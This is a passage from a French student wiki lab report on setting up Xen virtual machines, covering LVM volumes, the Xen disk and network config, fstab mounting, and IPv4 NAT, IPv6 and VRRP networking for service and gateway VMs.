* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
